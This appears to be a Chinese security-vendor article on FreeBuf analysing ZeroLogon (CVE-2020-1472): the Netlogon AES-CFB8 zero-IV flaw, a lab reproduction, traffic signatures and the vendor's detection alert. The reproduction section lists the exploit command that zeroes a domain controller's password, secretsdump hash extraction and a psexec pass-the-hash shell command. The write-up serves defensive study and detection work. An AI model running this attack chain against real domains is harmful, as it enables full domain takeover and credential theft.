freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

域渗透中ZeroLogon的利用及分析,AD域安全不容忽视
聚铭网络 2022-04-22 15:50:40 188269
所属地 江苏省

前言

在较大的企业、政企、高校等单位的网络信息化建设中,域环境常常是内部网络建设的重要一部分。而从现有网络安全建设来看,大部分单位的内部网络的安全性往往做的没有边界严格,因为网络防御的重点基本还是集中在网络边界上。

随着黑产团伙网络攻击事件的频频发生,在攻击者“穿过”单位网络的“边界防御”后,内部网络无疑是攻击者不会轻易放过的“香饽饽”。黑客经常会利用AD域(Active Directory Domain)作为首要攻击目标,特别是域控服务器,一旦其沦陷,基本上可以认为整个域已宣告失陷;以ATT&CK视角来看,整个过程黑客涉及了网络攻击生命周期中的权限提升、内部侦察和横向移动阶段。

image.png

图1 网络攻击生命周期

本章将以域内提权漏洞——CVE-2020-1472进行介绍分析,聚铭网络流量智能分析审计产品支持对该漏洞利用的检测。

漏洞简介

image.png

image.png

图2 CVE-2020-1472

该漏洞还被发现者命名为ZeroLogon,实质上是Netlogon远程协议 (MS-NRPC) 中的一个身份验证绕过漏洞。

NetLogon远程协议是一种在Windows域控上使用的RPC接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用NTLM协议登录服务器,也用于NTP响应认证以及更新计算机域密码。

Netlogon的功能之一是允许计算机对域控制器进行身份验证并更新它们在Active Directory中的密码,由于这个特殊功能导致了Zerologon漏洞。该漏洞允许攻击者冒充任何计算机到域控制器并更改其密码,包括域控制器本身的密码。导致攻击者获得管理访问权限并完全控制域控制器,从而完全控制网络。

漏洞复现

环境介绍

受害者:一台域控(DC)主机192.168.83.130

操作系统:Windows Server 2012 R2 Datacenter

主机名:dc

IP地址:192.168.83.130

攻击者:Win7192.168.83.1(该台主机应与DC在同个网络)

攻击步骤

Step1:置空密码

直接利用POC对DC发起置空密码攻击

python cve-2020-1472-exploit.py dc 192.168.83.130

#dc为域控的计算机名IP为dc的IP地址

image.png

图3 置空密码

Step2:获取HASH

切换到impacket/example目录利用secretsdump.py来获取相关的HASH

python secretsdump.py deeper.com/dc$@192.168.83.130 -no-pass

#deeper.com为域名称,dc为域控计算机名称,后面跟域控IP

image.png

图4 获取HASH

Step3:获取SHELL

在/impacket/example目录下利用psexec.py和上面获取的administrator的hash值获取shell

python psexec.py deeper.com/Administrator@192.168.83.130 -hashes :7c6cab7ad63589567f0f1692851e0875

image.png

图5 获取SHELL

漏洞原理

image.png

图6 zerologon

Netlogon协议使用的是自定义的对称加密协议来让客户端(加入域的计算机)和服务器(域控制器)向对方证明身份安全,此共享加密是客户端计算机账户密码的HASH值。Netlogon会话由客户端启动,因此客户端和服务器先交换随机的8个字节——challenge,客户端和服务器都先将密钥派生函数加密以获取会话密钥Session Key,然后客户端使用此会话密钥用于计算客户端凭据Client credential,服务器则重新计算相同的凭证。客户端必须知道计算机密码的HASH才能计算获得SessionKey,客户端知道会话密钥后才能做加密认证。

image.png

图7 netlogon认证协议

客户端和服务器都是用的加密原句在函数中实现生成凭据为ComputeLogOneCredential,称为协议规范。这个函数接受8字节的输入并通过加密会话对其进行转换产生相等长度输出的key,假设它不知道会话密钥将无法计算正确的输出及匹配的某个输入。

这个函数有两个版本,基于3DES以及AES,取决于客户端在身份验证期间设置的标志,基本上使用的都是AES。AES分组密码需要输入16个字节并将其置换为大小相等的输出,操作模式必须加密较大或较小的输入,为了被选中,ComputeLogEncredential利用模糊的CFB8(8位密码)模式只需转换8个字节,这个模式大约是普通模式的16倍。

AES-CFB8对明文的每个字节进行加密,方法是预先加上前缀一个16字节的初始化向量,然后将AES应用于IV+明文的前16个字节,取AES输出的第一个字节,并使用下一个明文字节。

image.png

图8 AES-CFB8操作模式的加密说明

为了能够加密会话,必须指定初始化向量(Initial Vector,即IV)引导加密过程,这个IV值必须是唯一的,并为每个单独的随机生成用同一密钥加密的密文。但是ComputeLogOnCreddential函数定义的IV是固定的,由16字节全零内容构成,而AES-CFB8要求IV是随机的,对256个密钥中的1个将AES-CFB8加密应用全零字节明文将导致都是零密文。

image.png

图9 AES-CFB8利用逻辑

CFB8模式下的全零IV存在安全性问题,因为AES是一种没有统计偏差的高质量加密方式,输入任何使用密钥加密的字符,输出中的每个位为0或1的概率都为50%。所以8个输出位全为零的几率为1/2的八次方,即1/256。 所以也就意味着有1/256的概率输出可以锁定为全0的状态。通过提交一个全0的ClientChallenge,然后再提交一个全0的Netlogon凭据计算,即使不知道sessionkey也可以在1/256的时间内得到正确的计算结果,因为始终是在对0进行加密。

image.png

图10 CFB8加密模式

流量分析

客户端尝试发出challenge,将Client Challenge值置为8个字节全0

image.png

图11 客户端发出测试请求

尝试的过程通常会出现大量STATUS_ACCESS_DENIED数据包。

image.png

图12 尝试失败报文特征

目前,聚铭网络流量智能分析审计系统完全支持对该漏洞攻击的检测,发现攻击数据后立即产生告警,效果如下:

image.png

图13 安全告警事件

【参考文章】

https://www.jianshu.com/p/7bd3f242c09c

https://www.anquanke.com/post/id/219374

# 系统安全 # 提权漏洞 # AD安全
本文为 聚铭网络 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
聚铭网络 LV.9
南京聚铭网络科技有限公司
  • 612 文章数
  • 22 关注者
山东省第二人民医院:基于DeepSeek的医疗AI智慧安全运营应用
2025-04-11
勒索攻击飙升,企业如何用SOC打破“被动防御”困局?
2025-04-11
案例精选 | 聚铭网络助力河北省地震局完成堡垒机国密改造
2025-03-21
文章目录